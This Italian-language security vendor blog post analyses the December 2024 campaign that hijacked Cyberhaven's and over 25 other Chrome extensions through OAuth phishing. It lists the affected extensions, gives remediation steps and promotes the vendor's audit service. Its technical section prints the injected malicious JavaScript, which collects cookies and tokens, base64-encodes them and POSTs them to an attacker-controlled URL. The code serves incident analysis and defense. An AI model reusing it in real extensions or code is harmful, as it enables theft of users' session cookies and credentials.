Ultimo aggiornamento: 30 dicembre 2024

Questo thread del blog sta monitorando la campagna di attacco globale in corso che prende di mira le estensioni del browser sul Chrome Web Store. Aggiorneremo i nuovi dettagli non appena saranno disponibili.

Sintesi

Il 27 dicembre 2024, la startup di sicurezza informatica Cyberhaven ha rivelato che un attacco ha compromesso la sua estensione del browser e vi ha iniettato codice dannoso. Una volta emersi i dettagli di questo attacco, sono state rapidamente scoperte altre estensioni del browser compromesse, con oltre 25 estensioni attualmente note per essere state colpite.

Il thread live qui sotto spiega tutti i dettagli a nostra conoscenza, quali estensioni sono state colpite, come le organizzazioni dovrebbero proteggersi e come LayerX sta aiutando i propri clienti a gestire le estensioni compromesse da questo attacco.

Collegamenti rapidi all'interno di questo documento:

  • Come è stato scoperto l'attacco
  • Come è stato effettuato l'attacco
  • Analisi tecnica dell'attacco
  • Ulteriori estensioni interessate
  • Come proteggersi
  • Come LayerX aiuta i clienti a proteggersi
  • Audit e ripristino gratuiti delle estensioni compromesse

Come è stato scoperto l'attacco

Il 27 dicembre 2024, Cyberhaven ha notificato ai propri clienti una violazione della sicurezza che ha portato alla compromissione delle credenziali di un dipendente Cyberhaven, che sono state utilizzate per spingere una versione dannosa dell'estensione del browser Cyberhaven sul Chrome Store. L'estensione di sicurezza Cyberhaven ha attualmente oltre 400,000 utenti, che presumibilmente sono stati colpiti da questa violazione.

La notizia dell'incidente è stata primo report del blog sulla sicurezza informatica Vulnu, che ha ottenuto una copia dell'e-mail di Cyberhaven ai clienti.

Secondo l'analisi di Cyberhaven, il 24 dicembre un attacco di phishing ha compromesso uno dei loro dipendenti, consentendo agli aggressori di ottenere l'accesso all'estensione del browser aziendale sul Chrome Web Store.

Gli aggressori hanno poi sfruttato questo accesso per caricare una versione dannosa dell'estensione del browser Cyberhaven e l'hanno aggiornata sul Chrome Store nelle prime ore del 25 dicembre.

Secondo Cyberhaven, l'aggiornamento dannoso è stato rilevato circa un giorno dopo e il codice dannoso è stato rimosso nelle prime ore del 26 dicembre. Tutto sommato, la versione dannosa è rimasta online per poco più di 24 ore.

Tuttavia, quando è emerso che erano state compromesse anche altre estensioni, è diventato evidente che l'attacco Cyberhaven non era un attacco isolato che aveva come bersaglio solo questa azienda, ma piuttosto parte di una campagna più ampia. 

Ciò rende l'analisi dell'incidente di Cyberhaven rilevante per comprendere la campagna nel suo complesso.

Come è stato effettuato l'attacco

L'account di amministratore dell'estensione del browser Cyberhaven è stato compromesso tramite un attacco di phishing mirato, che ha consentito all'attaccato di pubblicarne una versione dannosa.

Poiché questo incidente non è stato un attacco isolato, ma parte di una campagna che aveva come obiettivo più estensioni, riteniamo che l'approccio di phishing utilizzato per attaccare Cyberhaven sia stato replicato anche con tutte le altre estensioni.

La fonte più probabile di obiettivi per la campagna di phishing è il Chrome Web Store stesso.

Per ogni estensione, il Chrome Store fornisce i dettagli dell'editore dell'estensione, insieme a un indirizzo email di contatto:

 

 

Esempio di dettagli di contatto dell'estensione del browser Cyberhaven, dal Chrome Web Store

Utilizzando questi indirizzi email, gli aggressori hanno inviato email contraffatte che fingevano di essere per conto di Google, avvisando i destinatari di "violazioni" nei loro account.

Questa è una copia dell'e-mail di phishing inviata a Cyberhaven, che la società ha fornito come parte della propria analisi tecnica dell'incidente:

Tuttavia, e-mail simili sono emerse anche da altre fonti: a thread sul gruppo di discussione Chromium.org chiesto informazioni su un'e-mail sospetta ricevuta presumibilmente da Google, per capire se si tratta di un tentativo di phishing:

Attacco all'estensione del browser 2024

Questa email è quasi identica a quella che ha compromesso Cyberhaven (sebbene elenchi un diverso motivo di "violazione"), indicando che faceva parte della stessa campagna di phishing. Secondo il post, questa email è stata ricevuta il 23 dicembre, proprio quando Cyberhaven è stato violato.

Una volta che il destinatario previsto ha cliccato sul collegamento e-mail, è stato indirizzato a un modulo di autorizzazione di Google per aggiungere un'applicazione Google OAuth denominata "Estensioni della politica sulla privacy".

aut

Seguire questo flusso di approvazione porterebbe all'autorizzazione dell'applicazione OAuth di terze parti dannosa e alla concessione dell'accesso all'account Chrome Web Store della vittima. Tuttavia, a causa del modo in cui è stato progettato l'attacco, gli aggressori non hanno dovuto compromettere le credenziali dell'account (ad esempio, la password), ma hanno semplicemente sfruttato le autorizzazioni concesse dall'applicazione dannosa.

Analisi tecnica dell'attacco

Una volta ottenuto l'accesso all'account Web Store della vittima, gli aggressori hanno iniettato codice nel file worker.js dell'estensione per accedere a un URL esterno (cyberhavenext[.]pro) e scaricare un file di configurazione esterno.

Ogni volta che il browser veniva avviato, l'estensione recuperava un file di configurazione da un server remoto. Questo file controlla il comportamento dell'estensione e può essere aggiornato dinamicamente dall'attaccante, consentendogli di dettare che cosa e al quando si verificano azioni. l'attaccante può cambiare il file di configurazione in qualsiasi momento, consentendo loro di adattare l'attacco a diversi ambienti o obiettivi in ​​modo dinamico. Questa è la chiave della flessibilità dell'attacco.

Di seguito è riportato un esempio di tale codice:

Le estensioni del browser attaccano il codice dannoso

Informazioni chiave dal codice:

  1. Iniettato su più estensioni: Il codice dannoso non è limitato a una singola estensione. Invece, è stato iniettato in più estensioni, con ogni estensione che recupera il proprio file di configurazione univoco. Questa strategia consente all'attaccante di diversificare i vettori di attacco, personalizzare i comportamenti per diverse estensioni e rendere il rilevamento più impegnativo.
  2. Comportamento ricorrente: Il recupero della configurazione avviene ogni volta che si avvia il browser, garantendo che ogni estensione funzioni sempre con le istruzioni più recenti fornite dall'aggressore.
  3. Denominazione ingannevole: Il codice utilizza nomi di variabili o attributi, come cyberhavenext_ext_gestisci, contenente il nome dell'azienda. Ciò lo fa apparire legittimo agli sviluppatori che ispezionano l'archiviazione o il codice dell'estensione.
  4. Abuso di archiviazione locale: Memorizzando i dati di configurazione in chrome.storage.locale, l'attaccante assicura la persistenza. Gli sviluppatori che ispezionano questi dati potrebbero erroneamente fidarsi a causa dell'uso di nomi familiari o dal suono credibile.
  5. Controllo dinamico: Il punto finale (https://cyberhavenext.pro/ai-cyberhaven) consente all'aggressore di modificare in qualsiasi momento i file di configurazione per ciascuna estensione, ottenendo così il controllo completo sulla funzionalità e sul comportamento di ogni estensione infetta.
  6. Configurazioni personalizzate: Ogni estensione recupera una configurazione unica, rendendo il comportamento dannoso più difficile da generalizzare e rilevare. Questo approccio consente attacchi personalizzati in base allo scopo specifico dell'estensione o alla base di utenti.

Inoltre, il codice ha aggiunto un nuovo file (content.js) alle estensioni, utilizzato per raccogliere dati utente sui siti Web ed esfiltrarli in un sito Web esterno. Lo script in background nell'estensione funziona come un controller centrale, gestendo i messaggi in arrivo dagli script di contenuto ed eseguendo varie azioni in base a tali messaggi. Il seguente frammento di codice dimostra una struttura flessibile in attesa di elaborare più tipi di richieste:

chrome.runtime.onMessage.addListener(((t, e, a) => {
switch (t.action) {
case"cyberhavenext-completions":
fetch("<https://chatgpt.com/status/>", {
method: "POST",
headers: {"Content-Type": "application/json", Authorization: `Bearer ${t.key}`},
body: JSON.stringify({prompt: "check", max_tokens: 150})
}).then((t => t.json())).then((t => a(t))).catch((t => {
}));
break;
case"cyberhavenext-redirect":
fetch(t.url).then((t => t.redirected)).then((t => a(t))).catch();
break;
case"cyberhavenext-validate":
fetch(t.url, {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
},
body: JSON.stringify(t.pl)
}).then((t => t.json())).then((t => a(t))).catch((t => {
}));
break;
case"cyberhavenext-rtext":
fetch(t.url).then((t => t.text())).then((t => a(t))).catch();
break;
case"cyberhavenext-rjson":
fetch(t.url).then((t => t.json())).then((t => a(t))).catch();
break;
case"cyberhavenext-check-errors":
const e = t.pl;
let n = e.dm;
chrome.cookies.getAll({domain: n}, (n => {
if (n.length > 0) {
const o = n.map((t => ({
domain: t.domain,
expirationDate: t.expirationDate || null,
hostOnly: t.hostOnly,
httpOnly: t.httpOnly,
name: t.name,
path: t.path,
sameSite: t.sameSite || null,
secure: t.secure,
session: t.session,
storeId: t.storeId || null,
value: t.value
}))), c = e.n;
let s = "";
try {
s = btoa(JSON.stringify(e.openapi_u))
} catch (t) {
}
const i = e.openapi_tk + " || " + JSON.stringify(o) + " || " + btoa(navigator[c]) + " || " + e.uid + " || " + s + " || || " + e.k,
r = {ms1: btoa(i), ms2: JSON.stringify(e.cyberhavenext_cx), ms3: JSON.stringify(e.gpta)},
l = t.url;
fetch(l, {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
},
body: JSON.stringify(r)
}).then((t => t.json())).then((t => a(t))).catch((t => {
}))
}
}))
}
return !0
}))

Lo script utilizza chrome.runtime.onMessage.addListener per elaborare una varietà di azioni. Ogni azione definisce un comportamento specifico, come ad esempio effettuare richieste di rete.

Quando il "cyberhavenext-check-errors" viene invocata l'azione, l'attaccante recupera i cookie sensibili utilizzando chrome.cookies.getAll l'attaccante combina inoltre questi dati con altre informazioni (come navigator[c] e al e.uid) l'attaccante oscurerà il contenuto utilizzando btoa() per convertirlo in base64. Ciò rende i dati meno leggibili negli strumenti di monitoraggio di rete, aggiungendo un livello di offuscamento.

Incorporando queste azioni nello script in background, l'attaccante garantisce che:

  • L'attività dannosa è indipendente dalle interazioni dell'utente.
  • Avviene silenziosamente in sottofondo, rendendolo più difficile da rilevare.
L'analisi condotta da Cyberhaven sugli endpoint esposti indica che il codice dannoso si è concentrato specificatamente sui cookie e sui token di autenticazione per Facebook e, in particolare, sugli account aziendali di Facebook:

Secondo Cyberhaven, i dati presi di mira includevano token di accesso a Facebook, ID utente, informazioni sull'account e dettagli sull'account di Facebook Ads.

Ulteriori estensioni interessate

Una volta identificato l'URL del server C&C dannoso, i ricercatori della sicurezza hanno utilizzato il DNS inverso per identificare domini aggiuntivi che si risolvevano nello stesso indirizzo IP. Ciò ha portato a scoperta di ulteriori estensioni del browser compromesse e ha rivelato la portata di questa campagna di attacchi.

Attualmente, sono state scoperte più di 25 estensioni del browser, con una base installata di oltre 2.3 milioni di utenti, che sono state compromesse:

  • Assistente AI – ChatGPT e Gemini per Chrome
  • Compagno di negozio AI
  • Chat dell'IA del bardo
  • Segnalibro Modifica favicon
  • Castore
  • Assistente ChatGPT – Ricerca intelligente
  • Estensione di sicurezza Cyberhaven V3
  • Guadagna – Fino al 20% di rimborso in contanti
  • Email Hunter
  • Riepilogo GPT 4 con OpenAI
  • Ispettore di rete GraphQL
  • VPN Internxt
  • Registratore della cronologia della tastiera
  • Parla il pappagallo
  • Primus
  • Modalità Reader
  • Automatizzatore di ricerca premi
  • Cerca Copilot AI Assistant per Chrome
  • Ordina per più vecchio
  • Tackker – strumento di keylogger online
  • TinaMind: l'assistente AI basato su GPT-4o!
  • Uvoce
  • VidHelper – Scaricatore video
  • Vidnoz Flex – Videoregistratore e condivisione video
  • Effetti visivi per Google Meet
  • VPNCittà
  • AI di Wayin

Come proteggersi

Sebbene l'analisi tecnica abbia finora indicato che l'obiettivo primario di questa campagna è stato il furto delle credenziali di Facebook e dei token di accesso, è impossibile escludere l'esposizione delle credenziali di altri siti web.

Ecco perché LayerX raccomanda le seguenti azioni a tutti gli utenti interessati:

  1. Rimuovere le estensioni del browser interessate: assicurati che tutte le estensioni interessate siano rimosse e/o bloccate. Alcune estensioni hanno già caricato versioni aggiornate che hanno rimosso il codice dannoso, ma non tutte. Inoltre, tutte le estensioni compromesse che sono già state scaricate, rimarranno esposte finché l'utente non aggiorna la versione dell'estensione. Ecco perché è fondamentale disattivare attivamente tutte le estensioni potenzialmente esposte.
  2. Aggiorna tutte le estensioni alle ultime versioni: nel caso in cui sia stata rilasciata una correzione dall'editore, è importante aggiornare la versione installata dell'estensione il prima possibile (supponendo che non sia già stata rimossa)
  3. Elimina tutti i cookie degli utenti interessati: poiché l'attacco aveva come bersaglio i cookie e i token di accesso dei siti web, è fondamentale eliminare tutti i cookie esistenti e aggiornare i token di accesso.
  4. Ruota le password: come buona pratica, si consiglia inoltre di aggiornare tutte le password degli utenti interessati, per garantire che nessuna credenziale di accesso venga compromessa.

Come LayerX aiuta i suoi clienti

  1. Scoperta delle estensioni esposte: da quando è stato scoperto l'incidente di Cyberhaven, i ricercatori di sicurezza di tutto il mondo hanno lavorato per identificare ulteriori estensioni compromesse. LayerX è stato attivo in questo sforzo, scoprendo un certo numero di tali estensioni e combinandole anche con informazioni disponibili al pubblico.
  2. Rilevamento di estensioni dannose distribuite nelle reti dei clienti: LayerX ha costantemente aggiornato i suoi elenchi di estensioni dannose per includere estensioni scoperte come compromesse da questa violazione. Ogni volta che viene scoperta un'estensione del genere, i clienti vengono immediatamente avvisati. Inoltre, LayerX ha contattato attivamente i clienti interessati per avvisarli di queste scoperte.
  3. Implementazione di policy di applicazione automatica: LayerX ha aggiornato le policy dei clienti per disattivare automaticamente qualsiasi estensione compromessa.
  4. Eliminazione dei cookie degli utenti esposti: su richiesta dell'utente, LayerX può imporre attivamente l'eliminazione dei cookie sugli utenti esposti, reimpostando così i cookie e i token di autenticazione.
  5. Forza la rotazione delle password per gli utenti esposti: LayerX può anche implementare policy di sicurezza per forzare la rotazione delle password sugli utenti esposti, per garantire che nessuna credenziale di accesso rimanga esposta.

Audit e ripristino gratuiti delle estensioni compromesse

Data l'ampiezza e la portata di questo attacco, LayerX offre alle organizzazioni colpite dall'attacco (o preoccupate di esserlo) un controllo e una correzione gratuiti delle estensioni del browser.

Questa verifica include:

  • Rilevazione di tutte le estensioni del browser installate nel tuo ambiente
  • Mappatura di quali utenti hanno quali estensioni installate sui loro endpoint
  • Punteggio di rischio dettagliato di ogni estensione del browser
  • Rimozione delle estensioni del browser dannose compromesse
  • Rotazione dei cookie e delle password degli utenti, se necessario

CLICCA QUI per iscriverti a questa valutazione.